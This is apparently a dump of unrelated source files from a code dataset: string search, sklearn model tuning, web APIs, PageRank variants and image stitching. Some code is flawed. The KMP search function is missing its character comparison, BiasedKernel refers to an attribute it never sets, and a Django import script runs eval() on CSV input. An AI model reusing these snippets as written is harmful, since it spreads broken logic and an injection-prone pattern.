m = len(P)\n fail = [0] * m # by default, presume overlap of 0 everywhere\n j = 1\n k = 0\n\n while j < m: # compute f(j) during this pass, if nonzero\n if P[j] == P[k]:\n fail[j] = k+1\n j += 1\n k += 1\n elif k > 0:\n k = fail[k-1]\n else:\n j += 1\n return fail\n\ndef find_kmp(T,P):\n \"\"\"Return the lowest index of T at which substring P begins (or else -1).\"\"\"\n n, m = len(T), len(P)\n if m == 0: return 0\n fail = compute_kmp_fail(P)\n j = 0\n k = 0\n while j < n:\n if k == m-1:\n return j-m+1\n j += 1\n k += 1\n elif k > 0:\n k = fail[k-1]\n else:\n j += 1\n return -1","sub_path":"TextProcessing/PatternMatching/KMP.py","file_name":"KMP.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"363781095","text":"import numpy as np\nfrom sklearn import svm\nfrom sklearn import tree\nfrom helpers.datasets import statlog\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.gaussian_process.kernels import RBF\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import accuracy_score, f1_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.gaussian_process import GaussianProcessClassifier\n\n\nnames = [\"DT\", \"RF\", \"GNB\", \"GPC\", \"KNN\", \"LR\", \"MLP\", \"SVC\"]\n\nclassifiers = {\n \"DT\": tree.DecisionTreeClassifier(),\n \"RF\": RandomForestClassifier(),\n \"GNB\": GaussianNB(),\n \"KNN\": KNeighborsClassifier(),\n \"LR\": LogisticRegression(),\n \"MLP\": MLPClassifier(max_iter=50000),\n \"SVC\": svm.SVC(),\n \"GPC\": GaussianProcessClassifier(1.0 * RBF(1.0)),\n}\n\nparam_grids = {\n \"DT\": {'criterion': ['gini', 'entropy'], 'max_depth': range(1, 6)},\n \"RF\": {'n_estimators': range(1, 200), 'max_depth': range(1, 25)},\n \"KNN\": {'n_neighbors': range(1, 100)},\n \"LR\": [{'penalty': ['l2'], 'C': np.arange(0.1, 10, 0.1), 'tol': [1e-2, 1e-3, 1e-4, 1e-7, 1e-8],\n 'solver': ['lbfgs', 'liblinear', 'sag', 'saga']},\n {'penalty': ['l1'], 'C': np.arange(0.1, 10, 0.1), 'tol': [1e-2, 1e-3, 1e-4, 1e-7, 1e-8],\n 'solver': ['liblinear', 'saga']}],\n \"MLP\": {\n 'hidden_layer_sizes': [(4,), (7,), (10, ), (7, 4), (12, 5), (12, ), (10, 10), (8, ), (9, )],\n 'activation': ['identity', 'logistic', 'tanh', 'relu'],\n 'tol': [1e-2, 1e-3, 1e-4, 1e-5, 1e-6, 1e-7, 1e-8],\n 'epsilon': [1e-2, 1e-3, 1e-4, 1e-5, 1e-6, 1e-7, 1e-8, 1e-9, 1e-8],\n 'solver': ['lbfgs', 'sgd', 'adam']},\n \"SVC\": [{'kernel': ['rbf'], 'gamma': [1e-2, 1e-3, 1e-4, 1e-5], 'C': [0.01, 0.1, 1, 5, 10, 50, 100, 1000]},\n {'kernel': ['linear'], 'C': [1, 10, 100, 1000]}],\n}\n\n# Loading the learning set\nstatlog_data = statlog.load(encode_features=True)\nX = statlog_data[:, 0:-1]\ny = statlog_data[:, -1].reshape(-1, 1)\n\nX = StandardScaler().fit_transform(X)\n\n# Splitting train and test\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, shuffle=False)\n\ny_train_grid = y_train.ravel()\n\ntest_preds = {}\nfor classifier in names:\n print(\"\\n\\n{}: \".format(classifier))\n if classifier in param_grids:\n clf = GridSearchCV(classifiers[classifier], param_grid=param_grids[classifier], n_jobs=6, cv=5, refit=True)\n clf.fit(X_train, y_train_grid)\n print(\"\\tBest parameters set found on development set:\")\n c = clf.best_params_\n print(\"\\t\\t\", c)\n else:\n clf = classifiers[classifier]\n clf.fit(X_train, y_train_grid)\n\n # predicting\n test_pred = clf.predict(X_test)\n\n test_preds[classifier] = test_pred\n\n print(\"\\tAccuracy is: {0:3.2f}%\".format(accuracy_score(y_test, test_pred) * 100))","sub_path":"code/statlog_classification.py","file_name":"statlog_classification.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"212194237","text":"# -*- coding: utf-8 -*-\n\n\ndef main():\n t = int(input())\n for case in range(1, t + 1):\n l = []\n n = int(input())\n while n:\n n -= 1\n s = input()\n l.append(s)\n\n cnt = 0\n max_ = l[0]\n for i in range(1, len(l)):\n if max_ > l[i]:\n cnt += 1\n else:\n max_ = l[i]\n print('Case #{}: {}'.format(case, cnt))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"practice_round_apac_test_2016/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"609129294","text":"##----------------------------------\r\n# Cap.10 - Arquivos e Exceções\r\n# Python Crash Course - Eric Matthes\r\n# Autor: Washington Candeia\r\n# Faça você mesmo, p.277\r\n# 10.8\r\n##----------------------------------\r\n\r\n# Trabalhando com vários arquivos, p.274 - 276\r\n# Armazenar os nomes dos arquivos numa lista:\r\nfilenames = ['cats.txt', 'dogs.txt']\r\n\r\n# Criar uma função para facilitar o manuseio dos arquivos:\r\ndef conteudo_arquivos(filename):\r\n \"\"\"Função para mostrar o conteúdo meus arquivos.\"\"\"\r\n\r\n try:\r\n with open(filename) as obj:\r\n conteudo_arquivo = obj.read()\r\n\r\n except FileNotFoundError:\r\n print(\"\\nO arquivo '\" + filename + \"' não existe ou não está nesse diretório.\")\r\n\r\n else:\r\n print(conteudo_arquivo)\r\n\r\n# Agora, vamos procurar os arquivos e mostrar seus conteúdos:\r\nfor file in filenames:\r\n conteudo_arquivos(file)\r\n","sub_path":"10_Arquivos/exercicio10-8.py","file_name":"exercicio10-8.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"21043231","text":"import csv\nfrom django.contrib.auth.models import User\nfrom profiles.models import UserProfile\nfrom masterdata.models import (GramaPanchayath,Village)\nfrom .models import UserSurveyMap\n\ndef user_survey_data():\n user_file = raw_input('Give the File Path:')\n with open(str(user_file),'rb') as usfile:\n reader = csv.reader(usfile)\n keys = reader.next()\n for row in reader:\n data = dict(zip(keys, row))\n user_id = data.get('UserID')\n survey_id = data.get('SurveyID')\n vill_ids = eval(data.get('VillageIDS'))\n gp_values = [Village.objects.get(id=gp).gramapanchayath.id for gp in vill_ids]\n user_pro = UserProfile.objects.get(user__id = int(user_id))\n user_survey_map, created = UserSurveyMap.objects.update_or_create(\n user=user_pro,\n survey_id=int(survey_id),\n )\n user_survey_map.gramapanchayath.add(*gp_values)\n user_survey_map.village.add(*vill_ids)\n user_survey_map.save()\n \n","sub_path":"survey/user_survey_map.py","file_name":"user_survey_map.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"336473318","text":"# -*- coding: utf-8 -*-\nfrom flask import g\nfrom flask import request\n\nfrom aggre.extensions import auth\nfrom aggre.services import BookService\nfrom aggre.libs import pagination_next_url\nfrom . import bp\nfrom . import APIStatus\nfrom . import jsonify_with_error\nfrom . import jsonify_with_data\nfrom .form import BookForm\n\n\n@bp.route('/book/add_book', methods=['POST'])\n@auth.login_required\ndef addBook():\n form = BookForm()\n\n if not form.validate:\n return jsonify_with_error(\n APIStatus.BAD_REQUEST, errors=form.errors)\n book = BookService.add_book(\n form.title.data,\n form.author.data,\n form.condition.data,\n form.cover.data,\n g.user.id\n )\n return jsonify_with_data(APIStatus.OK, **book)\n\n\n@bp.route('/book/get_books/')\ndef getBooks(uid):\n offset = request.args.get('offset', 0, type=int)\n limit = request.args.get('limit', 3, type=int)\n books = BookService.get_books(uid, offset, limit)\n paging = pagination_next_url(offset,\n limit,\n BookService.count_all_one_books(uid))\n return jsonify_with_data(APIStatus.OK, books=books, paging=paging)\n\n\n@bp.route('/book/book_info/')\ndef bookInfo(bookid):\n info = BookService.get_book_info(bookid)\n if info is None:\n return jsonify_with_error(\n APIStatus.BAD_REQUEST, errors='Not Found The Book')\n return jsonify_with_data(APIStatus.OK, **info)\n\n\n@bp.route('/book/update_book_info/', methods=['PUT'])\ndef updateInfo(bookid):\n form = BookForm()\n\n book = BookService.update_book_info(\n bookid,\n form.title.data,\n form.author.data,\n form.condition.data,\n form.cover.data\n )\n return jsonify_with_data(APIStatus.OK, **book)\n\n\n@bp.route('/book/delete_book/', methods=['DELETE'])\ndef deleteBook(bookid):\n if BookService.delete_book(bookid):\n return jsonify_with_data(APIStatus.OK, info=\"it has been deleted\")\n else:\n return jsonify_with_error(\n APIStatus.BAD_REQUEST, errors='The book is not exist')\n","sub_path":"aggre/api/books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"350377288","text":"import wsgiref.handlers\nimport os\nfrom datetime import datetime\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp import template\nfrom google.appengine.ext import db, webapp\n\nclass MainPage( webapp.RequestHandler ):\n def get( self ):\n today = datetime.strftime( datetime.now(), '%Y/%m/%d' )\n # make dictionary of data and hand to template.\n data = {'today': today }\n path = os.path.join( os.path.dirname( __file__ ),\n \"bookmark_home.html\" )\n # hand to dictionary to method, render.\n self.response.out.write( template.render( path, data ))\n\nclass Bookmark( db.Model ):\n title = db.StringProperty( required=True )\n url = db.LinkProperty( required=True)\n comment = db.TextProperty()\n\nclass AddBookmark( webapp.RequestHandler ):\n def get( self ):\n \"\"\" Print Input Scroon. \n \"\"\"\n path = os.path.join( os.path.dirname( __file__),\n 'bookmark_add.html' )\n self.response.out.write( template.render( path, \"\") )\n\n def post( self ):\n \"\"\" Execute new input method, and move to Edit Screen.\n \"\"\"\n url = self.request.POST['url']\n title = self.request.POST['title']\n bookmark = Bookmark( url=url, title=title )\n bookmark.comment = self.request.POST['comment']\n bookmark.put()\n self.redirect( \"/edit/%d/\" % bookmark.key().id() )\n\nclass ListBookmark( webapp.RequestHandler ):\n def get( self ):\n bookmarks = Bookmark.all()\n data = {'bookmarks': bookmarks }\n path = os.path.join( os.path.dirname(__file__),\n \"bookmark_list.html\" )\n self.response.out.write( template.render( path, data ))\n\nclass EditBookmark( webapp.RequestHandler ):\n def get( self, bookmark_id ):\n \"\"\" Print Edit screen.\n \"\"\"\n bookmark = Bookmark.get_by_id( int(bookmark_id) )\n data = { 'bookmark': bookmark }\n path = os.path.join( os.path.dirname(__file__), \"bookmark_edit.html\" )\n self.response.out.write( template.render( path, data ) )\n\n def post( self, bookmark_id ):\n \"\"\"Update data, and move List screen\n \"\"\"\n bookmark = Bookmark.get_by_id( int(bookmark_id) )\n bookmark.url = self.request.POST['url']\n bookmark.title = self.request.POST['title']\n bookmark.comment = self.request.POST['comment']\n bookmark.put()\n self.redirect(\"/\")\n\nclass DeleteBookmark( webapp.RequestHandler ):\n def post( self, bookmark_id ):\n bookmark = Bookmark.get_by_id( int(bookmark_id) )\n if bookmark:\n bookmark.delete()\n self.redirect(\"/\")\n\ndef main():\n application = webapp.WSGIApplication( [\n ( '/', ListBookmark ), # All Bookmarks Brawse.\n ( '/add/', AddBookmark), # New Input Screen.\n ( '/edit/(\\d+)/', EditBookmark), # Edit Screen.\n ( '/delete/(\\d+)/', DeleteBookmark), # Delete method.\n ],debug=True )\n wsgiref.handlers.CGIHandler().run( application )\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"bookmarks_main.py","file_name":"bookmarks_main.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"70063976","text":"#!/usr/bin/env python\n#hello\nimport pygame, math, sys, random, time, copy\nfrom pygame.locals import *\nfrom tools import *\n\nclass Tongue:\n\tdef __init__(self,startPoint,length):\n\t\tself.sPoint = startPoint\n\t\tself.ePoint = 0\n\t\tself.length = length\n\t\t\n\tdef moveTongue(self,mPos):\n\t\tdirection = self.getDirection(mPos[0],mPos[1])\t\t\t\n\t\tself.ePoint = (self.sPoint[0]+direction[0],self.sPoint[1]+direction[1])\n\t\n\tdef drawTongue(self,surf):\n\t\tpygame.draw.lines(surf, (255,182,193), False, (self.sPoint,self.ePoint), 5)\n\t\n\tdef getDirection(self,xDest,yDest):\n\t\tdx,dy = slope(self.sPoint[0],self.sPoint[1],xDest,yDest)\n\t\tdist = getDistance(self.sPoint[0],self.sPoint[1],xDest,yDest)\n\t\tif dist > self.length:\n\t\t\tdiffs = getDiffs(dx,dy,dist)\t\t\t\n\t\t\txDiff = diffs[0]*self.length\n\t\t\tyDiff = diffs[1]*self.length\n\t\telse:\n\t\t\txDiff = dx\n\t\t\tyDiff = dy\n\t\treturn (xDiff,yDiff)\n\t\t\t\n\tdef update(self,sPoint,mPos):\n\t\tself.sPoint = sPoint\n\t\tself.moveTongue(mPos)\n\t\t\n\t\t\n\n\n","sub_path":"Tongue.py","file_name":"Tongue.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"361787764","text":"import virtool.api.utils\nimport virtool.http.utils\nimport virtool.users.checks\nimport virtool.hmm.db\nimport virtool.users.sessions\nimport virtool.users.db\nimport virtool.db.utils\nimport virtool.errors\nimport virtool.groups.utils\nimport virtool.http.auth\nimport virtool.http.routes\nimport virtool.users.utils\nimport virtool.utils\nimport virtool.validators\nfrom virtool.api.response import bad_request, conflict, json_response, no_content, not_found\n\nroutes = virtool.http.routes.Routes()\n\n\n@routes.get(\"/api/users\", admin=True)\nasync def find(req):\n \"\"\"\n Get a list of all user documents in the database.\n\n \"\"\"\n db = req.app[\"db\"]\n\n term = req.query.get(\"find\")\n\n db_query = dict()\n\n if term:\n db_query.update(virtool.api.utils.compose_regex_query(term, [\"_id\"]))\n\n data = await virtool.api.utils.paginate(\n db.users,\n db_query,\n req.query,\n sort=\"_id\",\n projection=virtool.users.db.PROJECTION\n )\n\n return json_response(data)\n\n\n@routes.get(\"/api/users/{user_id}\", admin=True)\nasync def get(req):\n \"\"\"\n Get a near-complete user document. Password data are removed.\n\n \"\"\"\n document = await req.app[\"db\"].users.find_one(req.match_info[\"user_id\"], virtool.users.db.PROJECTION)\n\n if not document:\n return not_found()\n\n return json_response(virtool.utils.base_processor(document))\n\n\n@routes.post(\"/api/users\", admin=True, schema={\n \"user_id\": {\n \"type\": \"string\",\n \"coerce\": virtool.validators.strip,\n \"empty\": False,\n \"required\": True\n },\n \"password\": {\n \"type\": \"string\",\n \"empty\": False,\n \"required\": True\n },\n \"force_reset\": {\n \"type\": \"boolean\",\n \"default\": True\n }\n})\nasync def create(req):\n \"\"\"\n Add a new user to the user database.\n\n \"\"\"\n db = req.app[\"db\"]\n data = await req.json()\n\n if data[\"user_id\"] == \"virtool\":\n return bad_request(\"Reserved user name: virtool\")\n\n error = await virtool.users.checks.check_password_length(req)\n\n if error:\n return bad_request(error)\n\n user_id = data[\"user_id\"]\n\n try:\n document = await virtool.users.db.create(\n db,\n user_id,\n data[\"password\"],\n data[\"force_reset\"]\n )\n except virtool.errors.DatabaseError:\n return bad_request(\"User already exists\")\n\n headers = {\n \"Location\": f\"/api/users/{user_id}\"\n }\n\n return json_response(\n virtool.utils.base_processor({key: document[key] for key in virtool.users.db.PROJECTION}),\n headers=headers,\n status=201\n )\n\n\n@routes.put(\"/api/users/first\", public=True, schema={\n \"user_id\": {\n \"type\": \"string\",\n \"coerce\": virtool.validators.strip,\n \"empty\": False,\n \"required\": True\n },\n \"password\": {\n \"type\": \"string\",\n \"empty\": False,\n \"required\": True\n }\n})\nasync def create_first(req):\n \"\"\"\n Add a first user to the user database.\n\n \"\"\"\n db = req.app[\"db\"]\n data = await req.json()\n\n if await db.users.count_documents({}):\n return conflict(\"Virtool already has at least one user\")\n\n if data[\"user_id\"] == \"virtool\":\n return bad_request(\"Reserved user name: virtool\")\n\n error = await virtool.users.checks.check_password_length(req)\n\n if error:\n return bad_request(error)\n\n user_id = data[\"user_id\"]\n\n await virtool.users.db.create(\n db,\n user_id,\n data[\"password\"],\n force_reset=False\n )\n\n document = await virtool.users.db.edit(\n db,\n user_id,\n administrator=True\n )\n\n headers = {\n \"Location\": f\"/api/users/{user_id}\"\n }\n\n session, token = await virtool.users.sessions.create_session(\n db,\n virtool.http.auth.get_ip(req),\n user_id\n )\n\n req[\"client\"].authorize(session, is_api=False)\n\n resp = json_response(\n virtool.utils.base_processor({key: document[key] for key in virtool.users.db.PROJECTION}),\n headers=headers,\n status=201\n )\n\n virtool.http.utils.set_session_id_cookie(resp, session[\"_id\"])\n virtool.http.utils.set_session_token_cookie(resp, token)\n\n return resp\n\n\n@routes.patch(\"/api/users/{user_id}\", admin=True, schema={\n \"administrator\": {\n \"type\": \"boolean\"\n },\n \"force_reset\": {\n \"type\": \"boolean\"\n },\n \"groups\": {\n \"type\": \"list\"\n },\n \"password\": {\n \"type\": \"string\"\n },\n \"primary_group\": {\n \"type\": \"string\"\n }\n})\nasync def edit(req):\n db = req.app[\"db\"]\n data = await req.json()\n\n if \"password\" in data:\n error = await virtool.users.checks.check_password_length(req)\n\n if error:\n return bad_request(error)\n\n groups = await db.groups.distinct(\"_id\")\n\n if \"groups\" in data:\n missing = [g for g in data[\"groups\"] if g not in groups]\n\n if missing:\n return bad_request(\"Groups do not exist: \" + \", \".join(missing))\n\n primary_group = data.get(\"primary_group\")\n\n if primary_group and primary_group not in groups:\n return bad_request(\"Primary group does not exist\")\n\n user_id = req.match_info[\"user_id\"]\n\n if \"administrator\" in data and user_id == req[\"client\"].user_id:\n return bad_request(\"Users cannot modify their own administrative status\")\n\n try:\n document = await virtool.users.db.edit(\n db,\n user_id,\n **data\n )\n except virtool.errors.DatabaseError as err:\n if \"User does not exist\" in str(err):\n return not_found(\"User does not exist\")\n\n if \"User is not member of group\" in str(err):\n return conflict(\"User is not member of group\")\n\n raise\n\n projected = virtool.db.utils.apply_projection(document, virtool.users.db.PROJECTION)\n\n return json_response(virtool.utils.base_processor(projected))\n\n\n@routes.delete(\"/api/users/{user_id}\", admin=True)\nasync def remove(req):\n \"\"\"\n Remove a user.\n\n \"\"\"\n db = req.app[\"db\"]\n\n user_id = req.match_info[\"user_id\"]\n\n if user_id == req[\"client\"].user_id:\n return bad_request(\"Cannot remove own account\")\n\n delete_result = await db.users.delete_one({\"_id\": user_id})\n\n # Remove user from all references.\n await db.references.update_many({}, {\n \"$pull\": {\n \"users\": {\n \"id\": user_id\n }\n }\n })\n\n if delete_result.deleted_count == 0:\n return not_found()\n\n return no_content()\n","sub_path":"virtool/users/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"469285362","text":"import scipy\nimport numpy as np\nimport warnings\nimport pygrank.algorithms.utils\n\n\nclass PageRank:\n \"\"\"A Personalized PageRank power method algorithm. Supports warm start.\"\"\"\n\n def __init__(self, alpha=0.85, to_scipy=None, convergence=None, **kwargs):\n \"\"\" Initializes the PageRank scheme parameters.\n\n Attributes:\n alpha: Optional. 1-alpha is the bias towards the personalization. Default value is 0.85.\n to_scipy: Optional. Method to extract a scipy sparse matrix from a networkx graph.\n If None (default), pygrank.algorithms.utils.to_scipy_sparse_matrix with default arguments is used.\n convergence: Optional. The ConvergenceManager that determines when iterations stop. If None (default),\n a ConvergenceManager with the additional keyword arguments is constructed.\n\n Example:\n >>> from pygrank.algorithms import pagerank\n >>> algorithm = pagerank.PageRank(alpha=0.99, tol=1.E-9) # tol passed to the ConvergenceManager\n \"\"\"\n self.alpha = float(alpha) # typecast to make sure that a graph is not accidentally the first argument\n self.to_scipy = pygrank.algorithms.utils.to_scipy_sparse_matrix if to_scipy is None else to_scipy\n self.convergence = pygrank.algorithms.utils.ConvergenceManager(**kwargs) if convergence is None else convergence\n\n def rank(self, G, personalization=None, warm_start=None):\n M = self.to_scipy(G)\n degrees = scipy.array(M.sum(axis=1)).flatten()\n\n personalization = scipy.repeat(1.0, len(G)) if personalization is None else scipy.array([personalization.get(n, 0) for n in G], dtype=float)\n personalization = personalization / personalization.sum()\n ranks = personalization if warm_start is None else scipy.array([warm_start.get(n, 0) for n in G], dtype=float)\n\n is_dangling = scipy.where(degrees == 0)[0]\n self.convergence.start()\n while not self.convergence.has_converged(ranks):\n ranks = self.alpha * (ranks * M + sum(ranks[is_dangling]) * personalization) + (1 - self.alpha) * personalization\n ranks = ranks/ranks.sum()\n\n ranks = dict(zip(G.nodes(), map(float, ranks)))\n return ranks\n\n\nclass HeatKernel:\n \"\"\" Heat kernel filter.\"\"\"\n\n def __init__(self, t=5, to_scipy=None, convergence=None, **kwargs):\n \"\"\" Initializes the HearKernel filter parameters.\n\n Attributes:\n t: Optional. How many hops until the importance of new nodes starts decreasing. Default value is 5.\n to_scipy: Optional. Method to extract a scipy sparse matrix from a networkx graph.\n If None (default), pygrank.algorithms.utils.to_scipy_sparse_matrix with default arguments is used.\n convergence: Optional. The ConvergenceManager that determines when iterations stop. If None (default),\n a ConvergenceManager with the additional keyword arguments is constructed.\n\n Example:\n >>> from pygrank.algorithms import pagerank\n >>> algorithm = pagerank.HeatKernel(t=5, tol=1.E-9) # tol passed to the ConvergenceManager\n \"\"\"\n self.t = t\n self.to_scipy = pygrank.algorithms.utils.to_scipy_sparse_matrix if to_scipy is None else to_scipy\n self.convergence = pygrank.algorithms.utils.ConvergenceManager(**kwargs) if convergence is None else convergence\n\n def rank(self, G, personalization=None):\n M = self.to_scipy(G)\n\n personalization = scipy.repeat(1.0, len(G)) if personalization is None else scipy.array([personalization.get(n, 0) for n in G], dtype=float)\n personalization = personalization / personalization.sum()\n\n coefficient = np.exp(-self.t)\n ranks = personalization*coefficient\n\n self.convergence.start()\n Mpower = M\n while not self.convergence.has_converged(ranks):\n coefficient *= self.t/(self.convergence.iteration+1)\n Mpower *= M\n ranks += personalization*Mpower\n\n ranks = dict(zip(G.nodes(), map(float, ranks)))\n return ranks\n\n\nclass BiasedKernel:\n \"\"\" Heuristic kernel-like method that places emphasis on shorter random walks.\"\"\"\n\n def __init__(self, alpha=0.85, t=5, normalization='auto', convergence=None, **kwargs):\n self.alpha = alpha\n self.normalization = normalization\n self.convergence = pygrank.algorithms.utils.ConvergenceManager(**kwargs) if convergence is None else convergence\n warnings.warn(\"BiasedKernel is still under development (its implementation may be incorrect)\", stacklevel=2)\n warnings.warn(\"BiasedKernel is a low-quality heuristic\", stacklevel=2)\n\n def rank(self, G, personalization=None, warm_start=None):\n M = pygrank.algorithms.utils.to_scipy_sparse_matrix(G, self.normalization)\n degrees = scipy.array(M.sum(axis=1)).flatten()\n\n personalization = scipy.repeat(1.0, len(G)) if personalization is None else scipy.array([personalization.get(n, 0) for n in G], dtype=float)\n personalization = personalization / personalization.sum()\n ranks = personalization if warm_start is None else scipy.array([warm_start.get(n, 0) for n in G], dtype=float)\n\n is_dangling = scipy.where(degrees == 0)[0]\n self.convergence.start()\n while not self.convergence.has_converged(ranks):\n a = self.alpha*self.t/self.convergence.iteration\n ranks = np.exp(-self.t) * personalization + a * ((ranks * M + sum(ranks[is_dangling]) * personalization) - ranks)\n ranks = ranks/ranks.sum()\n\n ranks = dict(zip(G.nodes(), map(float, ranks)))\n return ranks\n\n\nclass Fast:\n \"\"\" Fast computation of PageRank with progressively lower restart probabilities (relies on warm start).\"\"\"\n\n def __init__(self, ranker, enabled=True):\n self.ranker = ranker\n self.enabled = enabled\n warnings.warn(\"Fast implementation of PageRank still under development (could be slower)\", stacklevel=2)\n\n def rank(self, G, personalization):\n if self.enabled:\n target_alpha = self.ranker.alpha\n target_tol = self.ranker.convergence.tol\n self.ranker.convergence.rank = None\n self.ranker.convergence.allow_restart = False\n alpha = target_alpha * 0.8\n beta = 0.5\n while True:\n self.ranker.convergence.tol = target_tol * np.exp(2*np.log(alpha) / np.log(target_alpha)-1)\n print(self.ranker.convergence.tol)\n ranks = self.ranker.rank(G, personalization, warm_start=self.ranker.convergence.rank)\n if alpha == target_alpha:\n break\n alpha = target_alpha * beta + alpha * (1 - beta)\n if abs(alpha - target_alpha) < 1 - target_alpha:\n alpha = target_alpha\n self.ranker.convergence.allow_restart = True\n else:\n ranks = self.ranker.rank(G, personalization, warm_start=None)\n print(self.ranker.convergence.elapsed_time, 'time,', self.ranker.convergence.iteration, 'iterations')\n return ranks","sub_path":"pygrank/algorithms/pagerank.py","file_name":"pagerank.py","file_ext":"py","file_size_in_byte":7153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"223890403","text":"# from dbM2 import\n# this time we need to use that thing.\n# strange. it tends to be slower.\nimport numpy as np\nimport cv2\nfrom dbM2 import regcheck, inf\nfrom basepak import getShift\nfrom classic_segment import getRead as batchRead\n# use some image reading thing.\nfrom dbM import show\nimport time\n# from multiprocessing import Pool, freeze_support\nfrom multiprocessing import Process, freeze_support\nfrom endmark import windowEndMarkEx as windowEndmarkEx\n# TimeoutError?\n# use graph query to do this.\n# randomly select three?\n# this will not work.\nGFC = 25\n# 25 -> 75\n# you can do this at night, but not when you are working.\n# does not matter. it is all the same.\n# limitation on max connection.\nTHROTTLE = 5\ntable_name = \"projects\"\n# use tesseract now!\nthreshold = 2 # very fucking awful and nasty.\n# this is really messy.\n# batch_size = 10\n\n\ndef check(a):\n return sum([int(x[0].is_alive()) for x in a]+[0])\n\n\ndef clean(a):\n return [x for x in a if x[0].is_alive()]\n# def parallel(x, v, z):\n# with Pool(processes=x) as pool:\n# return pool.map(v, z)\n\n\n# say we've got a sample.\n# you can adjust this.\n\n\ndef knock(sample):\n sd = sample[1:3]\n sv = sample[-1]\n sk = sample[0]\n sn = [sample[:-1]]+getShift(sd, sv, sk), sv\n return sn\n\n\ndef get_1(s0, sv):\n assert sv == 1\n assert len(s0) == 2\n # print(type(s0), len(s0))\n s1 = s0[0]\n # s2=cv2.imread(s1)\n # this is not right.\n # oh you may say, let the machine to decode the image!\n # just wait.\n s2 = np.frombuffer(s1, np.uint8)\n s2 = cv2.imdecode(s2, 1)\n s3 = np.frombuffer(s0[1], np.uint8)\n s3 = cv2.imdecode(s3, 1)\n # s4=s3\n h1, w1 = s3.shape[:2]\n h2, w2 = s2.shape[:2]\n res = np.zeros(shape=(max(h1, h2), w1+w2, 3), dtype=np.uint8)\n for i in range(s2.shape[2]):\n res[:h2, :w2, i] = np.ones([h1, w1])*s2[:, :, i]\n res[:h2, w2:w2+w1, i] = np.ones([h1, w1])*s3[:, :, i]\n _, w1 = res.shape[:2]\n w1 = int(w1/4)\n return res[:, w1:w1*3, :]\n\n\ndef get_2(s0, sv):\n assert sv == 2\n assert len(s0) == 2\n # print(type(s0), len(s0))\n s1 = s0[0]\n # s2=cv2.imread(s1)\n # this is not right.\n # oh you may say, let the machine to decode the image!\n # just wait.\n s2 = np.frombuffer(s1, np.uint8)\n s2 = cv2.imdecode(s2, 1)\n s3 = np.frombuffer(s0[1], np.uint8)\n s3 = cv2.imdecode(s3, 1)\n # s4=s3\n h1, w1 = s3.shape[:2]\n h2, w2 = s2.shape[:2]\n res = np.zeros(shape=(h1+h2, max(w1, w2), 3), dtype=np.uint8)\n for i in range(s2.shape[2]):\n res[:h2, :w2, i] = np.ones([h1, w1])*s2[:, :, i]\n res[h2:h2+h1, :w1, i] = np.ones([h1, w1])*s3[:, :, i]\n w1, _ = res.shape[:2]\n w1 = int(w1/4)\n return res[w1:w1*3, :, :]\n\n\ndef get_0(s0, sv):\n assert sv == 0\n assert len(s0) == 1\n s2 = np.frombuffer(s0[0], np.uint8)\n s2 = cv2.imdecode(s2, 1)\n return s2\n\n# it keeps ketting stuck.\n\n\ndef get_3(s0, sv):\n assert sv == 3\n assert len(s0) == 4\n # print(type(s0), len(s0))\n s1 = s0[0]\n # s2=cv2.imread(s1)\n # this is not right.\n # oh you may say, let the machine to decode the image!\n # just wait.\n s2 = np.frombuffer(s1, np.uint8)\n s2 = cv2.imdecode(s2, 1)\n s3 = np.frombuffer(s0[1], np.uint8)\n s3 = cv2.imdecode(s3, 1)\n # s4=s3\n h1, w1 = s3.shape[:2]\n h2, w2 = s2.shape[:2]\n res = np.zeros(shape=(h1+h2, max(w1, w2), 3), dtype=np.uint8)\n for i in range(s2.shape[2]):\n res[:h2, :w2, i] = np.ones([h1, w1])*s2[:, :, i]\n res[h2:h2+h1, :w1, i] = np.ones([h1, w1])*s3[:, :, i]\n s4 = np.frombuffer(s0[2], np.uint8)\n s4 = cv2.imdecode(s4, 1)\n s5 = np.frombuffer(s0[3], np.uint8)\n s5 = cv2.imdecode(s5, 1)\n h1, w1 = s5.shape[:2]\n h2, w2 = s4.shape[:2]\n res0 = np.zeros(shape=(h1+h2, max(w1, w2), 3), dtype=np.uint8)\n for i in range(s2.shape[2]):\n res0[:h2, :w2, i] = np.ones([h1, w1])*s4[:, :, i]\n res0[h2:h2+h1, :w1, i] = np.ones([h1, w1])*s5[:, :, i]\n h1, w1 = res.shape[:2]\n h2, w2 = res0.shape[:2]\n res1 = np.zeros(shape=(max(h1, h2), w1+w2, 3), dtype=np.uint8)\n for i in range(s2.shape[2]):\n res1[:h2, :w2, i] = 